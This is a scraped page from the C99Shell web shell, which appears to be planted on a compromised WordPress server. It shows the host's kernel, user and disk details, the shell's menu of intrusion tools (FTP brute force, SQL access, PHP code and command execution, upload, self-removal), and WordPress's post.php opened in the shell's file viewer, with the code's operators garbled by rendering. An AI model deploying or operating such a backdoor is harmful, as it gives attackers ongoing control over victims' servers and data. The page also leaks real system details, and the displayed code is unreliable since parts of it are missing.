!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.18.0. PHP/7.4.29 

uname -a: Linux ip-172-31-23-220 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/dev/wp-admin/   drwxrwxr-x
Free 39.75 GB of 48.28 GB (82.34%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     post.php (9.86 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Edit post administration panel.
 *
 * Manage Post actions: post, edit, delete, etc.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ '/admin.php';

$parent_file  'edit.php';
$submenu_file 'edit.php';

wp_reset_vars( array( 'action' ) );

if ( isset( 
$_GET['post'] ) && isset( $_POST['post_ID'] ) && (int) $_GET['post'] !== (int) $_POST['post_ID'] ) {
    
wp_die__'A post ID mismatch has been detected.' ), __'Sorry, you are not allowed to edit this item.' ), 400 );
} elseif ( isset( 
$_GET['post'] ) ) {
    
$post_id = (int) $_GET['post'];
} elseif ( isset( 
$_POST['post_ID'] ) ) {
    
$post_id = (int) $_POST['post_ID'];
} else {
    
$post_id 0;
}
$post_ID $post_id;

/**
 * @global string  $post_type
 * @global object  $post_type_object
 * @global WP_Post $post             Global post object.
 */
global $post_type$post_type_object$post;

if ( 
$post_id ) {
    
$post get_post$post_id );
}

if ( 
$post ) {
    
$post_type        $post->post_type;
    
$post_type_object get_post_type_object$post_type );
}

if ( isset( 
$_POST['post_type'] ) && $post && $post_type !== $_POST['post_type'] ) {
    
wp_die__'A post type mismatch has been detected.' ), __'Sorry, you are not allowed to edit this item.' ), 400 );
}

if ( isset( 
$_POST['deletepost'] ) ) {
    
$action 'delete';
} elseif ( isset( 
$_POST['wp-preview'] ) && 'dopreview' === $_POST['wp-preview'] ) {
    
$action 'preview';
}

$sendback wp_get_referer();
if ( ! 
$sendback ||
    
false !== strpos$sendback'post.php' ) ||
    
false !== strpos$sendback'post-new.php' ) ) {
    if ( 
'attachment' === $post_type ) {
        
$sendback admin_url'upload.php' );
    } else {
        
$sendback admin_url'edit.php' );
        if ( ! empty( 
$post_type ) ) {
            
$sendback add_query_arg'post_type'$post_type$sendback );
        }
    }
} else {
    
$sendback remove_query_arg( array( 'trashed''untrashed''deleted''ids' ), $sendback );
}

switch ( 
$action ) {
    case 
'post-quickdraft-save':
        
// Check nonce and capabilities.
        
$nonce     $_REQUEST['_wpnonce'];
        
$error_msg false;

        
// For output of the Quick Draft dashboard widget.
        
require_once ABSPATH 'wp-admin/includes/dashboard.php';

        if ( ! 
wp_verify_nonce$nonce'add-post' ) ) {
            
$error_msg __'Unable to submit this form, please refresh and try again.' );
        }

        if ( ! 
current_user_canget_post_type_object'post' )->cap->create_posts ) ) {
            exit;
        }

        if ( 
$error_msg ) {
            return 
wp_dashboard_quick_press$error_msg );
        }

        
$post get_post$_REQUEST['post_ID'] );
        
check_admin_referer'add-' $post->post_type );

        
$_POST['comment_status'] = get_default_comment_status$post->post_type );
        
$_POST['ping_status']    = get_default_comment_status$post->post_type'pingback' );

        
// Wrap Quick Draft content in the Paragraph block.
        
if ( false === strpos$_POST['content'], '<!-- wp:paragraph -->' ) ) {
            
$_POST['content'] = sprintf(
                
'<!-- wp:paragraph -->%s<!-- /wp:paragraph -->',
                
str_replace( array( "\r\n""\r""\n" ), '<br />'$_POST['content'] )
            );
        }

        
edit_post();
        
wp_dashboard_quick_press();
        exit;

    case 
'postajaxpost':
    case 
'post':
        
check_admin_referer'add-' $post_type );
        
$post_id 'postajaxpost' === $action edit_post() : write_post();
        
redirect_post$post_id );
        exit;

    case 
'edit':
        
$editing true;

        if ( empty( 
$post_id ) ) {
            
wp_redirectadmin_url'post.php' ) );
            exit;
        }

        if ( ! 
$post ) {
            
wp_die__'You attempted to edit an item that does not exist. Perhaps it was deleted?' ) );
        }

        if ( ! 
$post_type_object ) {
            
wp_die__'Invalid post type.' ) );
        }

        if ( ! 
in_array$typenowget_post_types( array( 'show_ui' => true ) ), true ) ) {
            
wp_die__'Sorry, you are not allowed to edit posts in this post type.' ) );
        }

        if ( ! 
current_user_can'edit_post'$post_id ) ) {
            
wp_die__'Sorry, you are not allowed to edit this item.' ) );
        }

        if ( 
'trash' === $post->post_status ) {
            
wp_die__'You cannot edit this item because it is in the Trash. Please restore it and try again.' ) );
        }

        if ( ! empty( 
$_GET['get-post-lock'] ) ) {
            
check_admin_referer'lock-post_' $post_id );
            
wp_set_post_lock$post_id );
            
wp_redirectget_edit_post_link$post_id'url' ) );
            exit;
        }

        
$post_type $post->post_type;
        if ( 
'post' === $post_type ) {
            
$parent_file   'edit.php';
            
$submenu_file  'edit.php';
            
$post_new_file 'post-new.php';
        } elseif ( 
'attachment' === $post_type ) {
            
$parent_file   'upload.php';
            
$submenu_file  'upload.php';
            
$post_new_file 'media-new.php';
        } else {
            if ( isset( 
$post_type_object ) && $post_type_object->show_in_menu && true !== $post_type_object->show_in_menu ) {
                
$parent_file $post_type_object->show_in_menu;
            } else {
                
$parent_file "edit.php?post_type=$post_type";
            }
            
$submenu_file  "edit.php?post_type=$post_type";
            
$post_new_file "post-new.php?post_type=$post_type";
        }

        
$title $post_type_object->labels->edit_item;

        
/**
         * Allows replacement of the editor.
         *
         * @since 4.9.0
         *
         * @param bool    $replace Whether to replace the editor. Default false.
         * @param WP_Post $post    Post object.
         */
        
if ( true === apply_filters'replace_editor'false$post ) ) {
            break;
        }

        if ( 
use_block_editor_for_post$post ) ) {
            require 
ABSPATH 'wp-admin/edit-form-blocks.php';
            break;
        }

        if ( ! 
wp_check_post_lock$post->ID ) ) {
            
$active_post_lock wp_set_post_lock$post->ID );

            if ( 
'attachment' !== $post_type ) {
                
wp_enqueue_script'autosave' );
            }
        }

        
$post get_post$post_idOBJECT'edit' );

        if ( 
post_type_supports$post_type'comments' ) ) {
            
wp_enqueue_script'admin-comments' );
            
enqueue_comment_hotkeys_js();
        }

        require 
ABSPATH 'wp-admin/edit-form-advanced.php';

        break;

    case 
'editattachment':
        
check_admin_referer'update-post_' $post_id );

        
// Don't let these be changed.
        
unset( $_POST['guid'] );
        
$_POST['post_type'] = 'attachment';

        
// Update the thumbnail filename.
        
$newmeta          wp_get_attachment_metadata$post_idtrue );
        
$newmeta['thumb'] = wp_basename$_POST['thumb'] );

        
wp_update_attachment_metadata$post_id$newmeta );

        
// Intentional fall-through to trigger the edit_post() call.
    
case 'editpost':
        
check_admin_referer'update-post_' $post_id );

        
$post_id edit_post();

        
// Session cookie flag that the post was saved.
        
if ( isset( $_COOKIE['wp-saving-post'] ) && $_COOKIE['wp-saving-post'] === $post_id '-check' ) {
            
setcookie'wp-saving-post'$post_id '-saved'time() + DAY_IN_SECONDSADMIN_COOKIE_PATHCOOKIE_DOMAINis_ssl() );
        }

        
redirect_post$post_id ); // Send user on their way while we keep working.

        
exit;

    case 
'trash':
        
check_admin_referer'trash-post_' $post_id );

        if ( ! 
$post ) {
            
wp_die__'The item you are trying to move to the Trash no longer exists.' ) );
        }

        if ( ! 
$post_type_object ) {
            
wp_die__'Invalid post type.' ) );
        }

        if ( ! 
current_user_can'delete_post'$post_id ) ) {
            
wp_die__'Sorry, you are not allowed to move this item to the Trash.' ) );
        }

        
$user_id wp_check_post_lock$post_id );
        if ( 
$user_id ) {
            
$user get_userdata$user_id );
            
/* translators: %s: User's display name. */
            
wp_diesprintf__'You cannot move this item to the Trash. %s is currently editing.' ), $user->display_name ) );
        }

        if ( ! 
wp_trash_post$post_id ) ) {
            
wp_die__'Error in moving the item to Trash.' ) );
        }

        
wp_redirect(
            
add_query_arg(
                array(
                    
'trashed' => 1,
                    
'ids'     => $post_id,
                ),
                
$sendback
            
)
        );
        exit;

    case 
'untrash':
        
check_admin_referer'untrash-post_' $post_id );

        if ( ! 
$post ) {
            
wp_die__'The item you are trying to restore from the Trash no longer exists.' ) );
        }

        if ( ! 
$post_type_object ) {
            
wp_die__'Invalid post type.' ) );
        }

        if ( ! 
current_user_can'delete_post'$post_id ) ) {
            
wp_die__'Sorry, you are not allowed to restore this item from the Trash.' ) );
        }

        if ( ! 
wp_untrash_post$post_id ) ) {
            
wp_die__'Error in restoring the item from Trash.' ) );
        }

        
$sendback add_query_arg(
            array(
                
'untrashed' => 1,
                
'ids'       => $post_id,
            ),
            
$sendback
        
);
        
wp_redirect$sendback );
        exit;

    case 
'delete':
        
check_admin_referer'delete-post_' $post_id );

        if ( ! 
$post ) {
            
wp_die__'This item has already been deleted.' ) );
        }

        if ( ! 
$post_type_object ) {
            
wp_die__'Invalid post type.' ) );
        }

        if ( ! 
current_user_can'delete_post'$post_id ) ) {
            
wp_die__'Sorry, you are not allowed to delete this item.' ) );
        }

        if ( 
'attachment' === $post->post_type ) {
            
$force = ( ! MEDIA_TRASH );
            if ( ! 
wp_delete_attachment$post_id$force ) ) {
                
wp_die__'Error in deleting the attachment.' ) );
            }
        } else {
            if ( ! 
wp_delete_post$post_idtrue ) ) {
                
wp_die__'Error in deleting the item.' ) );
            }
        }

        
wp_redirectadd_query_arg'deleted'1$sendback ) );
        exit;

    case 
'preview':
        
check_admin_referer'update-post_' $post_id );

        
$url post_preview();

        
wp_redirect$url );
        exit;

    case 
'toggle-custom-fields':
        
check_admin_referer'toggle-custom-fields''toggle-custom-fields-nonce' );

        
$current_user_id get_current_user_id();
        if ( 
$current_user_id ) {
            
$enable_custom_fields = (bool) get_user_meta$current_user_id'enable_custom_fields'true );
            
update_user_meta$current_user_id'enable_custom_fields', ! $enable_custom_fields );
        }

        
wp_safe_redirectwp_get_referer() );
        exit;

    default:
        
/**
         * Fires for a given custom post action request.
         *
         * The dynamic portion of the hook name, `$action`, refers to the custom post action.
         *
         * @since 4.6.0
         *
         * @param int $post_id Post ID sent with the request.
         */
        
do_action"post_action_{$action}"$post_id );

        
wp_redirectadmin_url'edit.php' ) );
        exit;
// End switch.

require_once ABSPATH 'wp-admin/admin-footer.php';

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0064 ]--